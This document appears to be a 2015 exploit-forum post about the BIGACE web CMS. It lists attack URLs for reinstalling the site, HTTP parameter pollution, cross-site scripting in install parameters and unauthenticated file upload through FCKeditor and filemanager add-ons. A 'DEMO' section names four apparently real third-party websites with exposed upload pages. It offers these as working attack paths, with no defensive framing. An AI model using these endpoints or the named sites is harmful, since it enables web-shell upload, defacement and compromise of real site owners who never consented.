facebook facebook twitter rss

BGC Web CMS Multi Vulnerability exploit => Arbitrary File Upload , XSS

Author: Stiva , Published: 25-06-2015
/ # Bismi Allah
| # Title : BGC Web CMS Multi Vulnerability exploit => Arbitrary File Upload , XSS
| # Author : Stiva
| # Language: PHP
| # Dork : n/a
| # Tested on: Ubuntu
| # Connect: FB_Id =100002444979819
| # Download : http://www.bigace.de/de/download.html
| # PLUGIN : http://www.bigace.de/plugins/detail/16-FileManager

=======================================
[»] BIGACE Multi Vulnerability
=======================================

[+] 1: Install File :
Problem : ReInstall
Exploit :
http://www.target.com/[home]/install/index.php
http://www.target.com/[home]/misc/install/index.php

=======================================

[+] 2: HTTP Parameter Pollution
http://www.target.com/[home]/install/index.php?menu=[Parameter_Pollution]

Also :
http://www.target.com/[home]/install/index.php?LANGUAGE=[Parameter_Pollution]

=======================================

[+] 3: XSS :
http://www.target.com/[home]/mics/install/index.php?LANGUAGE=en&menu=[XSS]
http://www.target.com/[home]/mics/install/index.php?INSTALL_LANGUAGE=[XSS]


=======================================

[+] 4: FILE UPLOAD :
http://www.target.com/[home]/addon/FCKeditor/editor/filemanager/browser/bigace/frmupload.php
[+] 5:
http://www.target.com/[home]/addon/filemanager\addon\filemanager/upload.php

=======================================

DEMO :
http://www.hockeycorporation.com/printerkasir/addon/FCKeditor/editor/filemanager/browser/bigace/frmupload.php
http://www.dotstyles.com/addon/FCKeditor/editor/filemanager/browser/bigace/frmupload.php
http://www.kznbusinesshub.co.za/addon/FCKeditor/editor/filemanager/browser/bigace/frmupload.php
http://sd0713.info/addon/FCKeditor/editor/filemanager/browser/bigace/frmupload.php

=======================================
Greetz :
exploit4arab.net ,, Othmane Ouassouli

Like us on Facebook :